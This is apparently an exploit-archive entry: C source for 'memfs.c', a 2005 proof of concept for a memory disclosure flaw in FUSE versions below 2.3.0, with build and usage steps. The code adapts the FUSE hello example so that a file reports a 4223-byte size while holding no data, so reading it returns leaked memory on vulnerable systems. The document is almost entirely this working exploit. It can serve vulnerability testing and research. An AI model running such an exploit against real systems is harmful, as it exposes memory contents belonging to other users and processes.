Proof of concept exploit for a memory disclosure vulnerability that exists in FUSE versions below 2.3.0.
27cf06b929a25397727de580abced4cfcb5c502cb14f5b370aa41eedcc0983c8
/*
memfs.c: Proof of concept exploit for FUSE < 2.3.0
memfs.c is based on fuse/example/hello.c from Miklos Szeredi
Details: http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt
Build: Copy memfs.c over hello.c and run make in the fuse base directory
Usage: Create a mountpoint ; ./hello /mnt/getmem/ ; cat /mnt/getmem/memfs ;
If you see random bytes you are vulnerable.
Sven Tantau - http://www.sven-tantau.de/ - 01.06.2005
FUSE: Filesystem in Userspace
Copyright (C) 2001-2005 Miklos Szeredi <miklos@szeredi.hu>
This program can be distributed under the terms of the GNU GPL.
*/
#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
static const char *memfs_str = "";
static const char *memfs_path = "/memfs";
static int memfs_getattr(const char *path, struct stat *stbuf)
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if(strcmp(path, "/") == 0) {
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
}
else if(strcmp(path, memfs_path) == 0) {
stbuf->st_mode = S_IFREG | 0444;
stbuf->st_nlink = 1;
stbuf->st_size = 4223;
}
else
res = -ENOENT;
return res;
}
static int memfs_getdir(const char *path, fuse_dirh_t h, fuse_dirfil_t filler)
{
if(strcmp(path, "/") != 0)
return -ENOENT;
filler(h, ".", 0, 0);
filler(h, "..", 0, 0);
filler(h, memfs_path + 1, 0, 0);
return 0;
}
static int memfs_open(const char *path, struct fuse_file_info *fi)
{
if(strcmp(path, memfs_path) != 0)
return -ENOENT;
if((fi->flags & 3) != O_RDONLY)
return -EACCES;
return 0;
}
static int memfs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)
{
size_t len;
(void) fi;
if(strcmp(path, memfs_path) != 0)
return -ENOENT;
len = strlen(memfs_str);
if (offset < len) {
if (offset + size > len)
size = len - offset;
memcpy(buf, memfs_str + offset, size);
} else
size = 0;
return size;
}
static struct fuse_operations memfs_oper = {
.getattr = memfs_getattr,
.getdir = memfs_getdir,
.open = memfs_open,
.read = memfs_read,
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &memfs_oper);
}